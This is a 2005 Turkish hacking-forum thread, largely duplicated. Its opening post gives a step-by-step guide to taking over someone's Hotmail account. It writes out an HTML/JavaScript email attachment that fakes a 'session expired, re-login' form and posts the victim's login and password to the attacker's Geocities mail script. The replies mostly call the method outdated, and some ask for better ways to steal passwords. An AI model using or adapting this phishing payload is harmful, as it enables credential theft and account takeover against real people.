Hotmail Hack Güzel Bir Yol

Zubat · 18-03-2005, 22:45

Microsoft'un ünlü ücretsiz e-mail sitesi hack edildi. Nasil mi oluyor?

Kurbana Javascript codu iceren bir e-mail attiyorsunuz.Kurban bu e-mail'i görüntüledigi zaman Javascript kodu devreye
giriyor ve Kurbana tekrar Login olmasini söylüyor.Tabii böyle olunca size kurbanin kullanici adi ve ip adresini iceren bir e-mail
geliyor.

Tabii siz kullanici adini ve sifresini ögrendiginiz zaman hesabin tam kullanin hakkini kazaniyorsunuz.silmek, okumak, kurban
adina mailler göndermek... Tabii siz bos durmayip POP Mail'leride kontrol ediyorsunuz ve kurbanin diger sitelerdeki
hesaplarinin sifrelerini aliyorsunuz.

Peki bu olaydan kurtulamayacagiz mi ??? .

Netscape kullanicilari javascript ayarlarini söyle kapatabilir. (edit / preferences / advanced / disablejavascript).

Microsoft Internet Explorer kullanicilari jscript ayarlarini su sekilde kapatabiliir. (view / internet options /security / custom
settings / scripting / disable active scripting).

Tabii En Önemlisi Baskasinin Hotmail Hesabini Nasil Ele Geciririz ???

Asagidaki Listedekiler elimizde olmali.

1 Internete bagli bir bilgisayar... eh yani :-))
1 Netscape Mail (veya herhangi bir e-mail programi)
1 Notepad (veya herhangi bir text editor)

1.ADIM:

hotmail.com sitesini ziyaret ediyoruz ve ücretsiz bir e-mail hesabi actiriyoruz. Formu doldururken gercek bilgilerimizi
vermemize gerek yok. Rastgele birseyler yazsakta olur.

2.ADIM:

Geocities.com sitesini ziyaret ediyoruz ve ücretsiz bir e-mail hesabi actiriyoruz. Formu doldururken gercek bilgilerimizi
vermemize gerek yok. Rastgele birseyler yazsakta olur.1.adimda e-mail adresini kullandik.ve geocities'ten bir e-mail adresi
aldik.örnegin(ybwc@geocities.com).

3.ADIM:

NotePad'imizi aciyoruz ve asagidaki text'i yaziyoruz. Daha sonra message.htm ismini verip kayit ediyoruz. Satir 17'de
Geocities kullanici adimiz yaziyor. (ybwc) 2.adimda belirttigimiz gibi. (bu kullanici adini kendinize göre degistirin.)

<html><head></head><body>
<p>"Go where you want today" - Blue Adept</p>
<script>
function getmess(){
return "<table border=0 cellpadding=5 cellspacing=5 width=508 height=90%>" +
"<tr valign=middle>" +
"<th colspan=2>" +
"<font face=\"Arial, Helvetica\" size=\"5\">" +
"We're Sorry, We Cannot<br>Process Your Request" +
"</font></th></tr>" +
"<tr valign=middle><td align=center>" +
"<font face=\"Arial, Helvetica\" size=\"3\">Reason: </font>" +
"<font face=\"Arial, Helvetica\" size=\"3\" color=\"#ff0000\"><b>Time expired. Please re-login.</b></font><br>" +
"<font face=\"Arial, Helvetica\" size=\"2\"><a href=\"http://www.hotmail.com/errormsg.html\">(Get more info regarding error messages here)</a></font>" +
"</td></tr>" +
"<tr valign=\"middle\"><td align=\"center\">" +
"<FORM METHOD=POST ACTION=\"http://www.geocities.com/cgi-bin/homestead/mail.pl? ybwc\" rel="nofollow" target=\"_top\">" +
"<INPUT TYPE=\"hidden\" NAME=\"next-url\" VALUE=\"http://www.hotmail.com\">" +
"<INPUT TYPE=\"hidden\" NAME=\"subject\" VALUE=\"Hotmail Password\">" +
"<table cellpadding=\"0\" cellspacing=\"5\" border=\"0\">" +
"<tr><td><font face=\"Arial, Helvetica\" size=\"2\">Login Name:</font><br><input type=\"text\" name=\"login\" size=\"16\" maxlength=\"16\"></td><td><font
face=\"Arial, Helvetica\" size=\"2\">Password:</font><br><input type=\"password\" name=\"passwd\" size=\"16\" maxlength=\"16\"> <input type=\"submit\"
Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=5305
value=\"Enter\"></td><tr>" +
"</table></form></td></tr>" +
"<tr valign=middle><th colspan=2 align=center>" +
"<font face=\"Arial, Helvetica\" size=\"3\">" +
"Return to <a href=\"http://welcome.to/www.hotmail.com\" rel="nofollow" target=\"_parent\">Hotmail's Homepage</a>." +
"</font></th></tr></table>" +
"<p><img src=\"http://209.1.112.251/c9698.gif\" width=189 height=16 border=0 alt=\"Copyright 1996-1997\">";
Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=5305
}

nomenulinks=top.submenu.document.links.length;
for(i=0;i<nomenulinks-1;i++){
top.submenu.document.links.rel="nofollow" target="work";
top.submenu.document.links.href="javascript:getmes s()";
}

noworklinks=top.work.document.links.length;
for(i=0;i<noworklinks-1;i++){
top.work.document.links.rel="nofollow" target="work";
top.work.document.links.href="javascript:getmess() ";
}

</script>
</body>
</html>

4.ADIM

kurbanizima yeni bir e-mail mesaji hazirlayip gönderiyoruz.örnegin: kurban, (victim@hotmail.com)olsun. E-mailimize message.htm dosyasinida ekliyoruz ve
gönderiyoruz.

5.ADIM

Kurbanimizin e-mailini kontrol etmesini bekliyoruz. Kurban bizim e-maili görüntüledigi zaman Geocities'teki mailimizi kontrol ediyoruz. Geocities2ten bir mail
aliyoruz. Tabii bu mail'de kurbanimizin kullanici adi, sifresi ve ip adresi oluyor...

inter_cyber · 18-03-2005, 22:51

ama dostum artık pek kimse fake mail yemiyor nasıl olcak bu iş. O maili açınca eğer parolayı keydeti seçmişse bilgisayardan o parolayı bulup gönderecek bir kod yok mu? kimsenin ruhu duymaz o zaman

cemparator · 18-03-2005, 22:52

ben bunu biyerden hatırlıyom ama çıkaramadım

Sevencloves · 18-03-2005, 23:01

Zubat araştırman kurcalaman çok güzel bir şey de aldığın herşeyin yanlışmı doğrumu olduğunu bilmeden araştırmadanda buraya atman bence güzel değil..Bariz bir kopyala yaz örneği neysede bu senin dediğin ve gösterdiğin html kodları nebi nuh döneminden kalma ben bu java kodları sekiz sene önce bir sitede güncellenmeyen bir sitede gördüm ve hala aynı kodlar gerek yok arkadasım biraz daha kas kendini bundan iyisini yaparsın kesinlikle

emreketenci · 18-03-2005, 23:22

hocam benim sorunum şu geocities.com u açtığımda yahoo,geocities açılıo yani aldıım mail adresi @geocities.com diil de @yahoo.com oluo sorun olur mu?

Sevencloves · 19-03-2005, 14:56

Emreketenci kendini fazla kasma olmaz arkadasın anlattığı şekilde verilen sunucu işlevsel değil iki kodlar çalışmaz

s1n · 19-03-2005, 15:54

Yazının başındaki;

Microsoft'un ünlü ücretsiz e-mail sitesi hack edildi. Nasil mi oluyor?

şu satır çok yanlış bi dökümana başlandığının belirtisi.

CoMpUcOrSaN · 19-03-2005, 16:41

hehhehe sanki adam microsoftu hacklemiş gibi yazıo

Sevencloves · 19-03-2005, 16:53

Arkadaşlar bu kodlar bilgehack mı ne diye Free Bir siteden alınma Yani hiç bir kaale alınmaması gereken bir döküman Zırtonun teki zamanında yazmış bundan sekiz sene önce ee doğal olarak site güncellenmiyor bi mok olmuyor sonuçta bu karşınıza çıkıyor

MaNyAq · 20-03-2005, 15:41

Alıntı yaptığını belirtsen daha iyi olurdu sanırım.

Zubat · 22-03-2005, 20:12

reklam yapmamak için alıntı olduğunu belirtmedim... başka bir amacım yok... sevencloves biraz terbiyeni takın... düşünmeden hareket etmeyin lütfen...

max · 24-03-2005, 17:55

yani şimdi bu yöntem işe yaramıyomu

EsPiyoNaJ · 24-03-2005, 17:59

Fake mail diye bi şey duymadın mı kardeş.Yedibilirsen yarar ama pek yiyen kalmadı.

whitebird · 24-03-2005, 18:20

katılıyorum arkadaslara fake mesaja artık olmuyo bu iş farklı bı yol varsa sole az bılınen veya karsı tarafın sıfresını dırek olarak alabılecegımız bı program yokmu yaws ????

dallas · 24-03-2005, 18:31

walla microsoft hacklerndi sandım
alıntı oldugunu soylemeyi unutma aynısını 30. kez okuyorum biraz emege saygı

18-03-2005, 22:45	#1
Zubat Cool Çırak Kayıt Tarihi: Mar 2005 Üye numarası: #6831 Mesaj sayısı: 41 Karma etkisi: 0 Karma: 10	Hotmail Hack Güzel Bir Yol Microsoft'un ünlü ücretsiz e-mail sitesi hack edildi. Nasil mi oluyor? Kurbana Javascript codu iceren bir e-mail attiyorsunuz.Kurban bu e-mail'i görüntüledigi zaman Javascript kodu devreye giriyor ve Kurbana tekrar Login olmasini söylüyor.Tabii böyle olunca size kurbanin kullanici adi ve ip adresini iceren bir e-mail geliyor. Tabii siz kullanici adini ve sifresini ögrendiginiz zaman hesabin tam kullanin hakkini kazaniyorsunuz.silmek, okumak, kurban adina mailler göndermek... Tabii siz bos durmayip POP Mail'leride kontrol ediyorsunuz ve kurbanin diger sitelerdeki hesaplarinin sifrelerini aliyorsunuz. Peki bu olaydan kurtulamayacagiz mi ??? . Netscape kullanicilari javascript ayarlarini söyle kapatabilir. (edit / preferences / advanced / disablejavascript). Microsoft Internet Explorer kullanicilari jscript ayarlarini su sekilde kapatabiliir. (view / internet options /security / custom settings / scripting / disable active scripting). Tabii En Önemlisi Baskasinin Hotmail Hesabini Nasil Ele Geciririz ??? Asagidaki Listedekiler elimizde olmali. 1 Internete bagli bir bilgisayar... eh yani :-)) 1 Netscape Mail (veya herhangi bir e-mail programi) 1 Notepad (veya herhangi bir text editor) 1.ADIM: hotmail.com sitesini ziyaret ediyoruz ve ücretsiz bir e-mail hesabi actiriyoruz. Formu doldururken gercek bilgilerimizi vermemize gerek yok. Rastgele birseyler yazsakta olur. 2.ADIM: Geocities.com sitesini ziyaret ediyoruz ve ücretsiz bir e-mail hesabi actiriyoruz. Formu doldururken gercek bilgilerimizi vermemize gerek yok. Rastgele birseyler yazsakta olur.1.adimda e-mail adresini kullandik.ve geocities'ten bir e-mail adresi aldik.örnegin(ybwc@geocities.com). 3.ADIM: NotePad'imizi aciyoruz ve asagidaki text'i yaziyoruz. Daha sonra message.htm ismini verip kayit ediyoruz. Satir 17'de Geocities kullanici adimiz yaziyor. (ybwc) 2.adimda belirttigimiz gibi. (bu kullanici adini kendinize göre degistirin.) <html><head></head><body> <p>"Go where you want today" - Blue Adept</p> <script> function getmess(){ return "<table border=0 cellpadding=5 cellspacing=5 width=508 height=90%>" + "<tr valign=middle>" + "<th colspan=2>" + "<font face=\"Arial, Helvetica\" size=\"5\">" + "We're Sorry, We Cannot<br>Process Your Request" + "</font></th></tr>" + "<tr valign=middle><td align=center>" + "<font face=\"Arial, Helvetica\" size=\"3\">Reason: </font>" + "<font face=\"Arial, Helvetica\" size=\"3\" color=\"#ff0000\"><b>Time expired. Please re-login.</b></font><br>" + "<font face=\"Arial, Helvetica\" size=\"2\"><a href=\"http://www.hotmail.com/errormsg.html\">(Get more info regarding error messages here)</a></font>" + "</td></tr>" + "<tr valign=\"middle\"><td align=\"center\">" + "<FORM METHOD=POST ACTION=\"http://www.geocities.com/cgi-bin/homestead/mail.pl? ybwc\" rel="nofollow" target=\"_top\">" + "<INPUT TYPE=\"hidden\" NAME=\"next-url\" VALUE=\"http://www.hotmail.com\">" + "<INPUT TYPE=\"hidden\" NAME=\"subject\" VALUE=\"Hotmail Password\">" + "<table cellpadding=\"0\" cellspacing=\"5\" border=\"0\">" + "<tr><td><font face=\"Arial, Helvetica\" size=\"2\">Login Name:</font><br><input type=\"text\" name=\"login\" size=\"16\" maxlength=\"16\"></td><td><font face=\"Arial, Helvetica\" size=\"2\">Password:</font><br><input type=\"password\" name=\"passwd\" size=\"16\" maxlength=\"16\"> <input type=\"submit\" Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=5305 value=\"Enter\"></td><tr>" + "</table></form></td></tr>" + "<tr valign=middle><th colspan=2 align=center>" + "<font face=\"Arial, Helvetica\" size=\"3\">" + "Return to <a href=\"http://welcome.to/www.hotmail.com\" rel="nofollow" target=\"_parent\">Hotmail's Homepage</a>." + "</font></th></tr></table>" + "<p><img src=\"http://209.1.112.251/c9698.gif\" width=189 height=16 border=0 alt=\"Copyright 1996-1997\">"; Kaynak: Wardom http://www.wardom.com.tr/showthread.php?t=5305 } nomenulinks=top.submenu.document.links.length; for(i=0;i<nomenulinks-1;i++){ top.submenu.document.links.rel="nofollow" target="work"; top.submenu.document.links.href="javascript:getmes s()"; } noworklinks=top.work.document.links.length; for(i=0;i<noworklinks-1;i++){ top.work.document.links.rel="nofollow" target="work"; top.work.document.links.href="javascript:getmess() "; } </script> </body> </html> 4.ADIM kurbanizima yeni bir e-mail mesaji hazirlayip gönderiyoruz.örnegin: kurban, (victim@hotmail.com)olsun. E-mailimize message.htm dosyasinida ekliyoruz ve gönderiyoruz. 5.ADIM Kurbanimizin e-mailini kontrol etmesini bekliyoruz. Kurban bizim e-maili görüntüledigi zaman Geocities'teki mailimizi kontrol ediyoruz. Geocities2ten bir mail aliyoruz. Tabii bu mail'de kurbanimizin kullanici adi, sifresi ve ip adresi oluyor...

Konu Araçları	Bu Konuda Ara
Printer Çıktısını Göster Sayfayı Emaille Yolla	Bu Konuda Ara: Gelişmiş Arama

18-03-2005, 22:51	#2
inter_cyber Cool Üye Kayıt Tarihi: Jan 2005 Üye numarası: #1182 Mesaj sayısı: 130 Karma etkisi: 10 Karma: 219	ama dostum artık pek kimse fake mail yemiyor nasıl olcak bu iş. O maili açınca eğer parolayı keydeti seçmişse bilgisayardan o parolayı bulup gönderecek bir kod yok mu? kimsenin ruhu duymaz o zaman

18-03-2005, 22:52	#3
cemparator Daimi Üye Kayıt Tarihi: Mar 2005 Üye numarası: #3355 Yer: Ngage arena Mesaj sayısı: 526 Karma etkisi: 8 Karma: 11	ben bunu biyerden hatırlıyom ama çıkaramadım

18-03-2005, 23:01	#4
Sevencloves Banned Kayıt Tarihi: Feb 2005 Üye numarası: #2604 Yer: Besiktas Mesaj sayısı: 755 Karma etkisi: 0 Karma: 14	Zubat araştırman kurcalaman çok güzel bir şey de aldığın herşeyin yanlışmı doğrumu olduğunu bilmeden araştırmadanda buraya atman bence güzel değil..Bariz bir kopyala yaz örneği neysede bu senin dediğin ve gösterdiğin html kodları nebi nuh döneminden kalma ben bu java kodları sekiz sene önce bir sitede güncellenmeyen bir sitede gördüm ve hala aynı kodlar gerek yok arkadasım biraz daha kas kendini bundan iyisini yaparsın kesinlikle

18-03-2005, 23:22	#5
emreketenci Daimi Üye Kayıt Tarihi: Feb 2005 Üye numarası: #1537 Mesaj sayısı: 330 Karma etkisi: 12 Karma: 442	hocam benim sorunum şu geocities.com u açtığımda yahoo,geocities açılıo yani aldıım mail adresi @geocities.com diil de @yahoo.com oluo sorun olur mu?

19-03-2005, 14:56	#6
Sevencloves Banned Kayıt Tarihi: Feb 2005 Üye numarası: #2604 Yer: Besiktas Mesaj sayısı: 755 Karma etkisi: 0 Karma: 14	Emreketenci kendini fazla kasma olmaz arkadasın anlattığı şekilde verilen sunucu işlevsel değil iki kodlar çalışmaz

19-03-2005, 15:54	#7
s1n Daimi Üye Kayıt Tarihi: Dec 2004 Üye numarası: #1030 Mesaj sayısı: 370 Karma etkisi: 983 Karma: 97507	Yazının başındaki; Microsoft'un ünlü ücretsiz e-mail sitesi hack edildi. Nasil mi oluyor? şu satır çok yanlış bi dökümana başlandığının belirtisi.

19-03-2005, 16:41	#8
CoMpUcOrSaN Forum Kalfası Kayıt Tarihi: Nov 2004 Üye numarası: #422 Mesaj sayısı: 1,356 Karma etkisi: 655 Karma: 64600	hehhehe sanki adam microsoftu hacklemiş gibi yazıo

19-03-2005, 16:53	#9
Sevencloves Banned Kayıt Tarihi: Feb 2005 Üye numarası: #2604 Yer: Besiktas Mesaj sayısı: 755 Karma etkisi: 0 Karma: 14	Arkadaşlar bu kodlar bilgehack mı ne diye Free Bir siteden alınma Yani hiç bir kaale alınmaması gereken bir döküman Zırtonun teki zamanında yazmış bundan sekiz sene önce ee doğal olarak site güncellenmiyor bi mok olmuyor sonuçta bu karşınıza çıkıyor

20-03-2005, 15:41	#10
MaNyAq Hızlı Çırak Kayıt Tarihi: Mar 2005 Üye numarası: #5485 Mesaj sayısı: 91 Karma etkisi: 8 Karma: 10	Alıntı yaptığını belirtsen daha iyi olurdu sanırım.

22-03-2005, 20:12	#11
Zubat Cool Çırak Kayıt Tarihi: Mar 2005 Üye numarası: #6831 Mesaj sayısı: 41 Karma etkisi: 0 Karma: 10	reklam yapmamak için alıntı olduğunu belirtmedim... başka bir amacım yok... sevencloves biraz terbiyeni takın... düşünmeden hareket etmeyin lütfen...

24-03-2005, 17:55	#12
max Cool Üye Kayıt Tarihi: Jan 2005 Üye numarası: #1127 Mesaj sayısı: 114 Karma etkisi: 9 Karma: 106	yani şimdi bu yöntem işe yaramıyomu

24-03-2005, 17:59	#13
EsPiyoNaJ Banned Kayıt Tarihi: Feb 2005 Üye numarası: #3253 Mesaj sayısı: 825 Karma etkisi: 0 Karma: 544	Fake mail diye bi şey duymadın mı kardeş.Yedibilirsen yarar ama pek yiyen kalmadı.

24-03-2005, 18:20	#14
whitebird Daimi Üye Kayıt Tarihi: Mar 2005 Üye numarası: #3612 Yer: izmir Mesaj sayısı: 549 Karma etkisi: 8 Karma: 35	katılıyorum arkadaslara fake mesaja artık olmuyo bu iş farklı bı yol varsa sole az bılınen veya karsı tarafın sıfresını dırek olarak alabılecegımız bı program yokmu yaws ????

24-03-2005, 18:31	#15
dallas Cool Üye Kayıt Tarihi: Feb 2005 Üye numarası: #1766 Mesaj sayısı: 220 Karma etkisi: 8 Karma: 11	walla microsoft hacklerndi sandım alıntı oldugunu soylemeyi unutma aynısını 30. kez okuyorum biraz emege saygı